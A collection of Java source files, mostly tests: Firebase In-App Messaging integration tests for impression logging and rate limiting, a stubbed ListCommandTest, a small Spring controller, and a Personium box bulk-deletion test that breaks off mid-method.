analyticsConnector.invokeListenerOnEvent("event2");
waitUntilNotified(subscriber);
}
@Test
public void whenImpressed_writesLimitsToDisk() {
Task<Void> logImpressionTask =
displayCallbacksFactory
.generateDisplayCallback(MODAL_MESSAGE_MODEL, ANALYTICS_EVENT_NAME)
.impressionDetected();
await().timeout(2, SECONDS).until(logImpressionTask::isComplete);
assertThat(fileExists(IMPRESSIONS_STORE_FILE)).isTrue();
}
@Test
public void logImpression_writesExpectedLogToEngagementMetrics()
throws InvalidProtocolBufferException {
CampaignAnalytics expectedCampaignAnalytics =
CampaignAnalytics.newBuilder()
.setCampaignId(CAMPAIGN_ID_STRING)
.setFiamSdkVersion(BuildConfig.VERSION_NAME)
.setProjectNumber(PROJECT_NUMBER)
.setClientTimestampMillis(NOW)
.setClientApp(
ClientAppInfo.newBuilder()
.setFirebaseInstanceId(FirebaseInstanceId.getInstance().getId())
.setGoogleAppId(APP_ID))
.setEventType(EventType.IMPRESSION_EVENT_TYPE)
.build();
simulateAppResume();
waitUntilNotified(subscriber);
assertSingleSuccessNotification(subscriber);
Task<Void> logAction =
callbacksHashMap
.get(MODAL_MESSAGE_MODEL.getCampaignMetadata().getCampaignId())
.impressionDetected();
await().timeout(2, SECONDS).until(logAction::isComplete);
verify(engagementMetricsLoggerInterface).logEvent(byteArrayCaptor.capture());
CampaignAnalytics campaignAnalytics = CampaignAnalytics.parseFrom(byteArrayCaptor.getValue());
assertThat(campaignAnalytics).isEqualTo(expectedCampaignAnalytics);
}
@Test
public void logAction_writesExpectedLogToEngagementMetrics()
throws InvalidProtocolBufferException {
CampaignAnalytics expectedCampaignAnalytics =
CampaignAnalytics.newBuilder()
.setCampaignId(CAMPAIGN_ID_STRING)
.setFiamSdkVersion(BuildConfig.VERSION_NAME)
.setProjectNumber(PROJECT_NUMBER)
.setClientTimestampMillis(NOW)
.setClientApp(
ClientAppInfo.newBuilder()
.setFirebaseInstanceId(FirebaseInstanceId.getInstance().getId())
.setGoogleAppId(APP_ID))
.setEventType(EventType.IMPRESSION_EVENT_TYPE)
.build();
simulateAppResume();
waitUntilNotified(subscriber);
assertSingleSuccessNotification(subscriber);
Task<Void> logAction =
callbacksHashMap
.get(MODAL_MESSAGE_MODEL.getCampaignMetadata().getCampaignId())
.impressionDetected();
await().timeout(2, SECONDS).until(logAction::isComplete);
// log impression will log 1 event
verify(engagementMetricsLoggerInterface).logEvent(byteArrayCaptor.capture());
CampaignAnalytics campaignAnalytics = CampaignAnalytics.parseFrom(byteArrayCaptor.getValue());
assertThat(campaignAnalytics).isEqualTo(expectedCampaignAnalytics);
}
@Test
public void logRenderError_writesExpectedLogToEngagementMetrics()
throws InvalidProtocolBufferException {
CampaignAnalytics expectedCampaignAnalytics =
CampaignAnalytics.newBuilder()
.setCampaignId(CAMPAIGN_ID_STRING)
.setFiamSdkVersion(BuildConfig.VERSION_NAME)
.setProjectNumber(PROJECT_NUMBER)
.setClientTimestampMillis(NOW)
.setClientApp(
ClientAppInfo.newBuilder()
.setFirebaseInstanceId(FirebaseInstanceId.getInstance().getId())
.setGoogleAppId(APP_ID))
.setRenderErrorReason(RenderErrorReason.IMAGE_DISPLAY_ERROR)
.build();
simulateAppResume();
waitUntilNotified(subscriber);
assertSingleSuccessNotification(subscriber);
Task<Void> logAction =
callbacksHashMap
.get(MODAL_MESSAGE_MODEL.getCampaignMetadata().getCampaignId())
.displayErrorEncountered(InAppMessagingErrorReason.IMAGE_DISPLAY_ERROR);
await().timeout(2, SECONDS).until(logAction::isComplete);
// this should only log the render error - not an impression
verify(engagementMetricsLoggerInterface, times(1)).logEvent(byteArrayCaptor.capture());
CampaignAnalytics campaignAnalytics = CampaignAnalytics.parseFrom(byteArrayCaptor.getValue());
assertThat(campaignAnalytics).isEqualTo(expectedCampaignAnalytics);
}
@Test
public void logDismiss_writesExpectedLogToEngagementMetrics()
throws InvalidProtocolBufferException {
CampaignAnalytics expectedCampaignAnalytics =
CampaignAnalytics.newBuilder()
.setCampaignId(CAMPAIGN_ID_STRING)
.setFiamSdkVersion(BuildConfig.VERSION_NAME)
.setProjectNumber(PROJECT_NUMBER)
.setClientTimestampMillis(NOW)
.setClientApp(
ClientAppInfo.newBuilder()
.setFirebaseInstanceId(FirebaseInstanceId.getInstance().getId())
.setGoogleAppId(APP_ID))
.setDismissType(DismissType.AUTO)
.build();
simulateAppResume();
waitUntilNotified(subscriber);
assertSingleSuccessNotification(subscriber);
Task<Void> logImpression =
callbacksHashMap
.get(MODAL_MESSAGE_MODEL.getCampaignMetadata().getCampaignId())
.impressionDetected();
await().timeout(2, SECONDS).until(logImpression::isComplete);
Task<Void> logAction =
callbacksHashMap
.get(MODAL_MESSAGE_MODEL.getCampaignMetadata().getCampaignId())
.messageDismissed(InAppMessagingDismissType.AUTO);
await().timeout(2, SECONDS).until(logAction::isComplete);
// We verify this was called
verify(engagementMetricsLoggerInterface, times(2)).logEvent(byteArrayCaptor.capture());
CampaignAnalytics campaignAnalytics = CampaignAnalytics.parseFrom(byteArrayCaptor.getValue());
assertThat(campaignAnalytics).isEqualTo(expectedCampaignAnalytics);
}
@Test
public void logImpression_logsToEngagementMetrics() {
Task<Void> logImpressionTask =
displayCallbacksFactory
.generateDisplayCallback(MODAL_MESSAGE_MODEL, ANALYTICS_EVENT_NAME)
.impressionDetected();
await().timeout(2, SECONDS).until(logImpressionTask::isComplete);
assertThat(fileExists(IMPRESSIONS_STORE_FILE)).isTrue();
}
@Test
public void whenlogImpressionFails_doesNotFilterCampaign()
throws ExecutionException, InterruptedException, TimeoutException, FileNotFoundException {
doThrow(new NullPointerException("e1")).when(application).openFileInput(IMPRESSIONS_STORE_FILE);
Task<Void> logImpressionTask =
displayCallbacksFactory
.generateDisplayCallback(MODAL_MESSAGE_MODEL, ANALYTICS_EVENT_NAME)
.impressionDetected();
await().timeout(2, SECONDS).until(logImpressionTask::isComplete);
assertThat(logImpressionTask.getException()).hasMessageThat().contains("e1");
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
waitUntilNotified(subscriber);
assertSingleSuccessNotification(subscriber);
}
@Test
public void logImpression_whenlogEventLimitIncrementFails_doesNotRateLimit()
throws ExecutionException, InterruptedException, TimeoutException, FileNotFoundException {
CampaignMetadata otherMetadata =
new CampaignMetadata("otherCampaignId", "otherCampaignName", IS_NOT_TEST_MESSAGE);
VanillaCampaignPayload.Builder campaign =
VanillaCampaignPayload.newBuilder()
.setCampaignId(otherMetadata.getCampaignId())
.setCampaignName(otherMetadata.getCampaignName())
.setCampaignStartTimeMillis(PAST)
.setCampaignEndTimeMillis(FUTURE);
BannerMessage message = createBannerMessageCustomMetadata(otherMetadata);
ThickContent highPriorityAppOpenEvent =
ThickContent.newBuilder()
.setContent(BANNER_MESSAGE_PROTO)
.setIsTestCampaign(IS_NOT_TEST_MESSAGE)
.addTriggeringConditions(ON_FOREGROUND_TRIGGER)
.setPriority(Priority.newBuilder().setValue(1))
.setVanillaPayload(campaign)
.build();
FetchEligibleCampaignsResponse response =
FetchEligibleCampaignsResponse.newBuilder(eligibleCampaigns)
.addMessages(highPriorityAppOpenEvent)
.build();
GoodFiamService impl = new GoodFiamService(response);
grpcServerRule.getServiceRegistry().addService(impl);
doThrow(new NullPointerException("e1")).when(application).openFileInput(RATE_LIMIT_STORE_FILE);
// We have 2 campaigns configured for app foreground.
// We log impression for one of them during which limiter fails
// We simulate foreground to determine that the other gets impressed.
simulateAppResume();
await().timeout(2, SECONDS).until(() -> subscriber.valueCount() > 0);
assertSubsriberExactly(message, subscriber);
Task<Void> logImpressionTask =
callbacksHashMap
.get(message.getCampaignMetadata().getCampaignId())
.impressionDetected(); // limiter fails
await().timeout(2, SECONDS).until(logImpressionTask::isComplete);
simulateAppResume();
await().timeout(2, SECONDS).until(() -> subscriber.valueCount() > 1);
// App open events are ignored and analytics events are honored
List<InAppMessage> expected = new ArrayList<>();
expected.add(message);
expected.add(MODAL_MESSAGE_MODEL);
assertSubscriberListIs(expected, subscriber);
}
@Test
public void logImpression_whenlogEventLimitIncrementSuccess_cachesLimitsInMemory()
throws ExecutionException, InterruptedException, TimeoutException, FileNotFoundException {
CampaignMetadata otherMetadata =
new CampaignMetadata("otherCampaignId", "otherCampaignName", IS_NOT_TEST_MESSAGE);
VanillaCampaignPayload.Builder campaign =
VanillaCampaignPayload.newBuilder()
.setCampaignId(otherMetadata.getCampaignId())
.setCampaignName(otherMetadata.getCampaignName())
.setCampaignStartTimeMillis(PAST)
.setCampaignEndTimeMillis(FUTURE);
BannerMessage message = createBannerMessageCustomMetadata(otherMetadata);
ThickContent highPriorityAppOpenEvent =
ThickContent.newBuilder()
.setContent(BANNER_MESSAGE_PROTO)
.setIsTestCampaign(IS_NOT_TEST_MESSAGE)
.addTriggeringConditions(ON_FOREGROUND_TRIGGER)
.setPriority(Priority.newBuilder().setValue(1))
.setVanillaPayload(campaign)
.build();
FetchEligibleCampaignsResponse response =
FetchEligibleCampaignsResponse.newBuilder(eligibleCampaigns)
.addMessages(highPriorityAppOpenEvent)
.build();
GoodFiamService impl = new GoodFiamService(response);
grpcServerRule.getServiceRegistry().addService(impl);
simulateAppResume();
await().timeout(2, SECONDS).until(() -> subscriber.valueCount() > 0);
assertSubsriberExactly(message, subscriber);
Task<Void> logImpressionTask =
callbacksHashMap.get(message.getCampaignMetadata().getCampaignId()).impressionDetected();
await().timeout(2, SECONDS).until(logImpressionTask::isComplete);
doThrow(new NullPointerException("e1")).when(application).openFileInput(RATE_LIMIT_STORE_FILE);
simulateAppResume();
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
await().timeout(2, SECONDS).until(() -> subscriber.valueCount() > 0);
// App open events are ignored and analytics events are honored
List<InAppMessage> expected = new ArrayList<>();
expected.add(message);
expected.add(MODAL_MESSAGE_MODEL);
assertSubscriberListIs(expected, subscriber);
}
@Test
public void whenlogEventLimitIncrementSuccess_writesLimitsToDisk() {
simulateAppResume();
await().timeout(2, SECONDS).until(() -> subscriber.valueCount() > 0);
Task<Void> logImpressionTask =
callbacksHashMap
.get(MODAL_MESSAGE_MODEL.getCampaignMetadata().getCampaignId())
.impressionDetected();
await().timeout(2, SECONDS).until(logImpressionTask::isComplete);
assertThat(fileExists(RATE_LIMIT_STORE_FILE)).isTrue();
}
@Test
public void onImpressionLog_cachesImpressionsInMemory()
throws ExecutionException, InterruptedException, TimeoutException, FileNotFoundException {
CampaignMetadata otherMetadata =
new CampaignMetadata("otherCampaignId", "other_name", IS_NOT_TEST_MESSAGE);
BannerMessage otherMessage = createBannerMessageCustomMetadata(otherMetadata);
VanillaCampaignPayload otherCampaign =
VanillaCampaignPayload.newBuilder(vanillaCampaign.build())
.setCampaignId(otherMetadata.getCampaignId())
.setCampaignName(otherMetadata.getCampaignName())
.build();
ThickContent otherThickContent =
ThickContent.newBuilder(thickContent)
.setIsTestCampaign(IS_NOT_TEST_MESSAGE)
.clearTriggeringConditions()
.addTriggeringConditions(
TriggeringCondition.newBuilder().setEvent(Event.newBuilder().setName("event2")))
.clearVanillaPayload()
.setVanillaPayload(otherCampaign)
.setContent(BANNER_MESSAGE_PROTO)
.build();
FetchEligibleCampaignsResponse response =
FetchEligibleCampaignsResponse.newBuilder(eligibleCampaigns)
.addMessages(otherThickContent)
.build();
GoodFiamService impl = new GoodFiamService(response);
grpcServerRule.getServiceRegistry().addService(impl);
Task<Void> logImpressionTask =
displayCallbacksFactory
.generateDisplayCallback(MODAL_MESSAGE_MODEL, ANALYTICS_EVENT_NAME)
.impressionDetected();
Tasks.await(logImpressionTask, 1000, TimeUnit.MILLISECONDS);
doThrow(new NullPointerException("e1")).when(application).openFileInput(IMPRESSIONS_STORE_FILE);
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
analyticsConnector.invokeListenerOnEvent("event2");
waitUntilNotified(subscriber);
List<Object> triggeredMessages = getPlainValues(subscriber);
assertThat(triggeredMessages.size()).isEqualTo(1);
assertThat(triggeredMessages.get(0)).isEqualTo(otherMessage);
}
@Test
public void onCorruptImpressionStore_doesNotFilter()
throws ExecutionException, InterruptedException, TimeoutException, IOException {
changeFileContents(IMPRESSIONS_STORE_FILE);
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
waitUntilNotified(subscriber);
assertSingleSuccessNotification(subscriber);
}
@Test
public void onImpressionStoreReadFailure_doesNotFilter()
throws ExecutionException, InterruptedException, TimeoutException, IOException {
doThrow(new NullPointerException("e1")).when(application).openFileInput(IMPRESSIONS_STORE_FILE);
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
waitUntilNotified(subscriber);
assertSingleSuccessNotification(subscriber);
}
// There is not a purely functional way to determine if our clients inject the impressed
// campaigns upstream since we filter impressions from the response on the client as well.
// We work around this by failing hard on the fake service if we do not find an empty impression
// list
@Test
public void whenImpressionStorageClientFails_injectsEmptyImpressionListUpstream()
throws ExecutionException, InterruptedException, TimeoutException, FileNotFoundException {
VanillaCampaignPayload otherCampaign =
VanillaCampaignPayload.newBuilder(vanillaCampaign.build())
.setCampaignId("otherCampaignId")
.setCampaignName("other_name")
.build();
ThickContent otherContent =
ThickContent.newBuilder(thickContent)
.setContent(BANNER_MESSAGE_PROTO)
.clearVanillaPayload()
.clearTriggeringConditions()
.addTriggeringConditions(
TriggeringCondition.newBuilder().setEvent(Event.newBuilder().setName("event2")))
.setVanillaPayload(otherCampaign)
.build();
FetchEligibleCampaignsResponse response =
FetchEligibleCampaignsResponse.newBuilder(eligibleCampaigns)
.addMessages(otherContent)
.build();
InAppMessagingSdkServingImplBase fakeFilteringService =
new InAppMessagingSdkServingImplBase() {
@Override
public void fetchEligibleCampaigns(
FetchEligibleCampaignsRequest request,
StreamObserver<FetchEligibleCampaignsResponse> responseObserver) {
// Fail if impressions list is not empty
assertThat(request.getAlreadySeenCampaignsList()).isEmpty();
responseObserver.onNext(response);
responseObserver.onCompleted();
}
};
grpcServerRule.getServiceRegistry().addService(fakeFilteringService);
doThrow(new NullPointerException("e1")).when(application).openFileInput(IMPRESSIONS_STORE_FILE);
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
analyticsConnector.invokeListenerOnEvent("event2");
waitUntilNotified(subscriber);
}
@Test
public void whenAppForegroundIsRateLimited_doesNotNotify() {
CampaignMetadata analyticsCampaignMetadata =
new CampaignMetadata("analytics", "analyticsName", IS_NOT_TEST_MESSAGE);
VanillaCampaignPayload.Builder analyticsCampaign =
VanillaCampaignPayload.newBuilder()
.setCampaignId(analyticsCampaignMetadata.getCampaignId())
.setCampaignName(analyticsCampaignMetadata.getCampaignName())
.setCampaignStartTimeMillis(PAST)
.setCampaignEndTimeMillis(FUTURE);
BannerMessage analyticsMessage = createBannerMessageCustomMetadata(analyticsCampaignMetadata);
ThickContent analyticsThickContent =
ThickContent.newBuilder()
.setContent(BANNER_MESSAGE_PROTO)
.setIsTestCampaign(IS_NOT_TEST_MESSAGE)
.addTriggeringConditions(ON_ANALYTICS_EVENT)
.setVanillaPayload(analyticsCampaign)
.build();
CampaignMetadata foregroundCampaignMetadata =
new CampaignMetadata("foreground", "foregroundName", IS_NOT_TEST_MESSAGE);
VanillaCampaignPayload.Builder otherForegroundCampaign =
VanillaCampaignPayload.newBuilder()
.setCampaignId(foregroundCampaignMetadata.getCampaignId())
.setCampaignName(foregroundCampaignMetadata.getCampaignName())
.setCampaignStartTimeMillis(PAST)
.setCampaignEndTimeMillis(FUTURE);
ThickContent lowPriorityForegroundEvent =
ThickContent.newBuilder()
.setIsTestCampaign(IS_NOT_TEST_MESSAGE)
.setPriority(Priority.newBuilder().setValue(4))
.setContent(BANNER_MESSAGE_PROTO)
.addTriggeringConditions(ON_ANALYTICS_EVENT)
.addTriggeringConditions(ON_FOREGROUND_TRIGGER)
.setVanillaPayload(otherForegroundCampaign)
.build();
FetchEligibleCampaignsResponse response =
FetchEligibleCampaignsResponse.newBuilder(eligibleCampaigns)
.addMessages(analyticsThickContent)
.addMessages(lowPriorityForegroundEvent)
.build();
GoodFiamService impl = new GoodFiamService(response);
grpcServerRule.getServiceRegistry().addService(impl);
// Log impressions for an app open campaign
// Trigger app open events (other app foreground campaign still eligible)
// Trigger analytics events
// Assert that only analytics event triggers were activated
simulateAppResume();
await().timeout(2, SECONDS).until(() -> subscriber.valueCount() > 0);
assertSubsriberExactly(MODAL_MESSAGE_MODEL, subscriber);
Task<Void> logImpressionTask =
callbacksHashMap
.get(MODAL_MESSAGE_MODEL.getCampaignMetadata().getCampaignId())
.impressionDetected();
await().timeout(2, SECONDS).until(logImpressionTask::isComplete);
simulateAppResume();
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
await().timeout(2, SECONDS).until(() -> subscriber.valueCount() > 1);
List<InAppMessage> expected = new ArrayList<>();
expected.add(MODAL_MESSAGE_MODEL);
expected.add(analyticsMessage);
assertSubscriberListIs(expected, subscriber);
}
@Test
public void onCorruptLimitStore_doesNotRateLimit()
throws ExecutionException, InterruptedException, TimeoutException, IOException {
changeFileContents(RATE_LIMIT_STORE_FILE);
simulateAppResume();
waitUntilNotified(subscriber);
assertSubsriberExactly(MODAL_MESSAGE_MODEL, subscriber);
}
/* It is currently non trivial to write a non-flaky *integration* test to determine if
* _nothing_ happens when the network fails since the expected outcome is that clients remain
* unaffacted
*/
@Test
@Ignore("not ready yet")
public void testNetworkFailure() {}
@Test
public void onCancellation_dropsNotification() {
simulateAppResume();
subscriber.dispose();
await().timeout(2, SECONDS).until(() -> subscriber.isCancelled());
assertNoNotification(subscriber);
}
private void assertSingleSuccessNotification(TestSubscriber<InAppMessage> subscriber) {
subscriber.assertNotComplete();
subscriber.assertNoErrors();
assertThat(getPlainValues(subscriber).get(0)).isEqualTo(MODAL_MESSAGE_MODEL);
assertThat(subscriber.lastThread().getName()).isEqualTo("main");
}
private void assertNoNotification(TestSubscriber<InAppMessage> subscriber) {
subscriber.assertNotComplete();
subscriber.assertNoErrors();
subscriber.assertNoValues();
}
private void simulateAppResume() {
foregroundNotifier.notifyForeground();
}
private void waitUntilNotified(TestSubscriber<InAppMessage> subscriber) {
await().timeout(2, SECONDS).until(() -> subscriber.valueCount() > 0);
}
private void changeFileContents(String fileName) throws IOException {
File file = new File(InstrumentationRegistry.getContext().getFilesDir(), fileName);
FileOutputStream stream = new FileOutputStream(file);
try {
stream.write("corrupt-non-proto-contents".getBytes());
} finally {
stream.close();
}
}
private boolean fileExists(String fileName) {
File file = new File(application.getApplicationContext().getFilesDir(), fileName);
return file.exists();
}
public static class GoodFiamService extends InAppMessagingSdkServingImplBase {
private final FetchEligibleCampaignsResponse response;
GoodFiamService(FetchEligibleCampaignsResponse response) {
this.response = response;
}
@Override
public void fetchEligibleCampaigns(
FetchEligibleCampaignsRequest request,
StreamObserver<FetchEligibleCampaignsResponse> responseObserver) {
responseObserver.onNext(response);
responseObserver.onCompleted();
}
}
public static class FilteringFiamService extends InAppMessagingSdkServingImplBase {
private final ThickContent t1;
private final ThickContent t2;
FilteringFiamService(ThickContent t1, ThickContent t2) {
this.t1 = t1;
this.t2 = t2;
}
@Override
public void fetchEligibleCampaigns(
FetchEligibleCampaignsRequest request,
StreamObserver<FetchEligibleCampaignsResponse> responseObserver) {
FetchEligibleCampaignsResponse.Builder eligibleCampaignsBuilder =
FetchEligibleCampaignsResponse.newBuilder().setExpirationEpochTimestampMillis(FUTURE);
HashSet<String> alreadySeen = new HashSet<>();
for (CampaignImpression c : request.getAlreadySeenCampaignsList()) {
alreadySeen.add(c.getCampaignId());
}
if (!alreadySeen.contains(t1.getVanillaPayload().getCampaignId())) {
eligibleCampaignsBuilder.addMessages(t1);
}
if (!alreadySeen.contains(t2.getVanillaPayload().getCampaignId())) {
eligibleCampaignsBuilder.addMessages(t2);
}
responseObserver.onNext(eligibleCampaignsBuilder.build());
responseObserver.onCompleted();
}
}
static class TestAnalyticsConnector implements AnalyticsConnector {
private AnalyticsConnectorListener listener;
TestAnalyticsConnector() {}
@Override
public AnalyticsConnectorHandle registerAnalyticsConnectorListener(
String origin, AnalyticsConnectorListener listener) {
if (origin.equals("fiam")) {
this.listener = listener;
}
return new AnalyticsConnectorHandle() {
@Override
public void unregister() {}
@Override
public void unregisterEventNames() {}
@Override
public void registerEventNames(Set<String> eventNames) {}
};
}
void invokeListenerOnEvent(String name) {
Bundle b = new Bundle();
b.putString("events", name);
listener.onMessageTriggered(2, b);
}
@Override
public void logEvent(String origin, String name, Bundle params) {}
@Override
public void setUserProperty(String origin, String name, Object value) {}
@Override
public Map<String, Object> getUserProperties(boolean includeInternal) {
return new HashMap<>();
}
@Override
public void setConditionalUserProperty(ConditionalUserProperty conditionalUserProperty) {
throw new UnsupportedOperationException();
}
@Override
public void clearConditionalUserProperty(
String userPropertyName, String clearEventName, Bundle clearEventParams) {
throw new UnsupportedOperationException();
}
@Override
public List<ConditionalUserProperty> getConditionalUserProperties(
String origin, String propertyNamePrefix) {
throw new UnsupportedOperationException();
}
@Override
public int getMaxUserProperties(String origin) {
return 0;
}
}
private static class FaultyService extends InAppMessagingSdkServingImplBase {
final CountDownLatch countDownLatch = new CountDownLatch(1);
@Override
public void fetchEligibleCampaigns(
FetchEligibleCampaignsRequest request,
StreamObserver<FetchEligibleCampaignsResponse> responseObserver) {
countDownLatch.countDown();
throw t;
}
void waitUntilFailureExercised() throws InterruptedException {
countDownLatch.await();
}
}
private static class SlowFaultyService extends FaultyService {
@Override
public void fetchEligibleCampaigns(
FetchEligibleCampaignsRequest request,
StreamObserver<FetchEligibleCampaignsResponse> responseObserver) {
try {
countDownLatch.countDown();
Thread.sleep(1000);
throw t;
} catch (InterruptedException e) {
}
}
}
void assertSubsriberExactly(InAppMessage inAppMessage, TestSubscriber<InAppMessage> subsciber) {
List<Object> triggeredMessages = getPlainValues(subsciber);
assertThat(triggeredMessages.size()).isEqualTo(1);
assertThat(triggeredMessages.get(0)).isEqualTo(inAppMessage);
}
void assertSubscriberListIs(List<InAppMessage> messages, TestSubscriber<InAppMessage> subsciber) {
List<Object> triggeredMessages = getPlainValues(subsciber);
assertThat(triggeredMessages.size()).isEqualTo(messages.size());
for (int i = 0; i < messages.size(); i++) {
assertThat(triggeredMessages.get(i)).isEqualTo(messages.get(i));
}
}
}
|
Java
|
public class ListCommandTest {
//TODO: Make into actual stub
private static CategoryPredicate categoryPredicateStub =
new CategoryPredicate(new Category("CATEGORY"));
private static DifficultyPredicate difficultyPredicateStub = new DifficultyPredicate(new Difficulty("1"));
private Model model;
private Model expectedModel;
@BeforeEach
public void setUp() {
model = new ModelManager(getTypicalRevisionTool(), new UserPrefs(), new History());
expectedModel = new ModelManager(model.getRevisionTool(), new UserPrefs(), new History());
}
/*
@Test
public void execute_listIsNotFiltered_showsSameList() throws ParseException {
assertCommandSuccess(new ListCommand(categoryPredicateStub, difficultyPredicateStub),
model, ListCommand.MESSAGE_SUCCESS, expectedModel);
}
*/
/*
@Test
public void execute_listIsFiltered_showsEverything() throws ParseException {
showAnswerableAtIndex(model, INDEX_FIRST_ANSWERABLE);
assertCommandSuccess(new ListCommand(categoryPredicateStub, difficultyPredicateStub),
model, ListCommand.MESSAGE_SUCCESS, expectedModel);
}
*/
}
|
Java
|
@Controller
public class ChildController {
//
@Autowired
ChildRepository childRepository;
@RequestMapping("/child")
public String childeren(Model model){
model.addAttribute("child", childRepository.findAll());
return "index";
}
}
|
Java
|
@RunWith(PersoniumIntegTestRunner.class)
@Category({Unit.class, Integration.class, Regression.class })
public class BoxBulkDeletionTest extends ODataCommon {
/**
* Constructor.
*/
public BoxBulkDeletionTest() {
super(new PersoniumCoreApplication());
}
/**
* Normal test.
* Box is empty.
*/
@Test
public void normal_box_is_empty() {
String cellName = Setup.TEST_CELL1;
String boxName = "BoxBulkDeletionTestBox";
try {
// ---------------
// Preparation
// ---------------
BoxUtils.create(cellName, boxName, MASTER_TOKEN_NAME, HttpStatus.SC_CREATED);
// ---------------
// Execution
// ---------------
BoxUtils.deleteRecursive(cellName, boxName, MASTER_TOKEN_NAME, HttpStatus.SC_NO_CONTENT);
// ---------------
// Verification
// ---------------
BoxUtils.get(cellName, MASTER_TOKEN_NAME, boxName, HttpStatus.SC_NOT_FOUND);
} finally {
BoxUtils.deleteRecursive(cellName, boxName, MASTER_TOKEN_NAME, -1);
}
}
/**
* Normal test.
* Box is not empty.
* @throws InterruptedException Error
*/
@SuppressWarnings("unchecked")
@Test
public void normal_box_is_not_empty() throws InterruptedException {
String cellName = Setup.TEST_CELL1;
String boxName = "BoxBulkDeletionTestBox";
String roleName = "BoxBulkDeletionTestRole";
String ruleName = "BoxBulkDeletionTestRule";
String relationName = "BoxBulkDeletionTestRelation";
String webDavCollectionName = "WebDAVCollection";
String engineServiceCollectionName = "EngineServiceCollection";
String odataCollectionName = "ODataCollection";
String davFileName = "davFile.txt";
String sourceFileName = "source.js";
String entityTypeName = "entityType";
JSONObject ruleJson = new JSONObject();
ruleJson.put("_Box.Name", boxName);
ruleJson.put("Name", ruleName);
ruleJson.put("EventType", "external");
ruleJson.put("EventExternal", "true");
ruleJson.put("Action", "log");
try {
// ---------------
// Preparation
// ---------------
BoxUtils.create(cellName, boxName, MASTER_TOKEN_NAME, HttpStatus.SC_CREATED);
// Create box linked object.
RoleUtils.create(cellName, MASTER_TOKEN_NAME, roleName, boxName, HttpStatus.SC_CREATED);
RuleUtils.create(cellName, MASTER_TOKEN_NAME, ruleJson, HttpStatus.SC_CREATED);
RelationUtils.create(cellName, relationName, boxName, MASTER_TOKEN_NAME, HttpStatus.SC_CREATED);
ExtRoleUtils.create(cellName, UrlUtils.roleClassUrl("testCell", "testRole"), relationName, boxName,
MASTER_TOKEN_NAME, HttpStatus.SC_CREATED);
// Create collections.
DavResourceUtils.createWebDAVCollection(cellName, boxName, webDavCollectionName,
BEARER_MASTER_TOKEN, HttpStatus.SC_CREATED);
DavResourceUtils.createServiceCollection(BEARER_MASTER_TOKEN, HttpStatus.SC_CREATED,
cellName, boxName, engineServiceCollectionName);
DavResourceUtils.createODataCollection(MASTER_TOKEN_NAME, HttpStatus.SC_CREATED,
cellName, boxName, odataCollectionName);
// Create file.
DavResourceUtils.createWebDAVFile(cellName, boxName, webDavCollectionName + "/" + davFileName,
"txt/html", MASTER_TOKEN_NAME, "test", HttpStatus.SC_CREATED);
DavResourceUtils.createServiceCollectionSource(cellName, boxName, engineServiceCollectionName,
sourceFileName, "text/javascript", MASTER_TOKEN_NAME, "test", HttpStatus.SC_CREATED);
// Create OData.
EntityTypeUtils.create(cellName, MASTER_TOKEN_NAME, boxName, odataCollectionName,
entityTypeName, HttpStatus.SC_CREATED);
AssociationEndUtils.create(MASTER_TOKEN_NAME, "1", cellName, boxName, odataCollectionName,
HttpStatus.SC_CREATED, "associationEnd", entityTypeName);
UserDataUtils.createProperty(cellName, boxName, odataCollectionName, "property", entityTypeName,
EdmSimpleType.STRING.getFullyQualifiedTypeName(), true, null, null, false, null);
UserDataUtils.create(MASTER_TOKEN_NAME, HttpStatus.SC_CREATED, "{\"property\":\"data\"}",
cellName, boxName, odataCollectionName, entityTypeName);
// ---------------
// Execution
// ---------------
BoxUtils.deleteRecursive(cellName, boxName, MASTER_TOKEN_NAME, HttpStatus.SC_NO_CONTENT);
// Wait a bit until the event is issued.
Thread.sleep(PersoniumUnitConfig.getAccountValidAuthnInterval() * 1000L);
// ---------------
// Verification
// ---------------
BoxUtils.get(cellName, MASTER_TOKEN_NAME, boxName, HttpStatus.SC_NOT_FOUND);
RoleUtils.get(cellName, MASTER_TOKEN_NAME, roleName, boxName, HttpStatus.SC_NOT_FOUND);
RoleUtils.get(cellName, MASTER_TOKEN_NAME, roleName, null, HttpStatus.SC_NOT_FOUND);
RuleUtils.get(cellName, MASTER_TOKEN_NAME, ruleName, boxName, HttpStatus.SC_NOT_FOUND);
RuleUtils.get(cellName, MASTER_TOKEN_NAME, ruleName, null, HttpStatus.SC_NOT_FOUND);
RelationUtils.get(cellName, MASTER_TOKEN_NAME, relationName, boxName, HttpStatus.SC_NOT_FOUND);
RelationUtils.get(cellName, MASTER_TOKEN_NAME, relationName, null, HttpStatus.SC_NOT_FOUND);
ExtRoleUtils.get(MASTER_TOKEN_NAME, cellName, UrlUtils.roleClassUrl("testCell", "testRole"),
"'" + relationName + "'", "'" + boxName + "'", HttpStatus.SC_NOT_FOUND);
ExtRoleUtils.get(MASTER_TOKEN_NAME, cellName, UrlUtils.roleClassUrl("testCell", "testRole"),
"'" + relationName + "'", "null", HttpStatus.SC_NOT_FOUND);
// Check of Rule internal information.
TResponse ruleDetail = RuleUtils.listDetail(MASTER_TOKEN_NAME, cellName, HttpStatus.SC_OK);
JSONArray rules = (JSONArray) ruleDetail.bodyAsJson().get("rules");
for (int i = 0; i < rules.size(); i++) {
JSONObject rule = (JSONObject) rules.get(i);
assertThat(rule.get("_Box.Name"), not(boxName));
}
} finally {
BoxUtils.deleteRecursive(cellName, boxName, MASTER_TOKEN_NAME, -1);
}
}
/**
* Error test.
* X-Personium-Recursive is false.
*/
@Test
public void error_recursive_header_is_false() {
String cellName = Setup.TEST_CELL1;
String boxName = "BoxBulkDeletionTestBox";
try {
// ---------------
// Preparation
// ---------------
BoxUtils.create(cellName, boxName, MASTER_TOKEN_NAME, HttpStatus.SC_CREATED);
// ---------------
// Execution
// ---------------
TResponse response = BoxUtils.deleteRecursive(cellName, boxName, "false",
MASTER_TOKEN_NAME, HttpStatus.SC_PRECONDITION_FAILED);
// ---------------
// Verification
// ---------------
BoxUtils.get(cellName, MASTER_TOKEN_NAME, boxName, HttpStatus.SC_OK);
